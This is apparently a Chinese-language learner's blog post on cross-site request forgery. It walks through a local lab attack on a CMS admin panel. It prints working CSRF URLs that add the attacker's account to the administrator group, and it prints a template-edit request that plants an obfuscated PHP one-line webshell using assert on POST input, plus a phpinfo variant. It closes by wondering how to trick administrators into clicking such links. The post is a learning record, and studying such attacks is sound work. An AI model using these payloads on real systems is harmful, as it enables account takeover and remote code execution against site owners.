CSRF初探
CSRF
CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
与XSS的区别
虽然我不懂XSS,但是我大概还是知道一点XSS中的攻击流程,与XSS不同的是CSRF在攻击的时候,攻击代码是由管理员执行的。
整个CSRF攻击流程是
1 | 攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击 |
实验过程
在麦香师傅家,用麦香师傅的搭的环境,体验了一个傻逼管理员如何被攻击的过程。
首先,我们先获取了timekey,即时间戳,还有token。
经过精心的构造,我们可以构造,一个将自己的帐号添加到管理员组的攻击代码,在这个实验环境唯一的不足就是不知道如何获取自己的id numenber。
构造的代码如下
1 | http://127.0.0.1/upload/index.php?g=admin&c=admin&a=assign_admin_do&admin_role_id=1&a_ac_id%5B%5D=_all&timeKey=1481717211&token=a50d7be4&member_id=5 |
上述代码的作用是将指定的账户添加到管理员组。
当我们获取管理员权限之后,我们可以尝试getshell,这次我们依旧是可以通过CSRF,当管理员点击我们构造好的代码后,我们所写的一句话就被写入了。
这个实验有一个不足的地方就是,不知道一句话被写入的位置,其次好像因为是组件的原因,如果我们一次没写入成功,这个组件就坏掉了,并不能第二次写入。在今天晚上的实验过程中,并没能成功getsehll,不知道是不是代码的原因。我的代码如下:
1 | 127.0.0.1/upload/index.php?g=admin&c=template&a=edit_template_file_do&file=add_report.php&description=添加报告&content=<script language=pHp>$a = chr("97").ssert;$a($_POST[k]);</script><&timeKey=1481719767&token=9d1547ba&template=default&dir=*home |
上面的代码是未经过url编码的,但是在实验的过程中,虽然一句话没写入,但是下面的代码却成功写入phpinfo了。
phpinfo写入代码
1 | http://127.0.0.1/upload/index.php?g=admin&c=template&a=edit_template_file_do&file=add_report.php&description=%E6%B7%BB%E5%8A%A0%E6%8A%A5%E5%91%8A&content=%3C%3Fphp+phpinfo%28%29%3F%3E%3C&timeKey=1481717211&token=a50d7be4&template=default&dir=*home |
心得
CSRF最关键的是什么,就是人与人之间的博弈,关键是如何让管理员成功执行我们的攻击代码呢?这的确是一个值得思考的问题。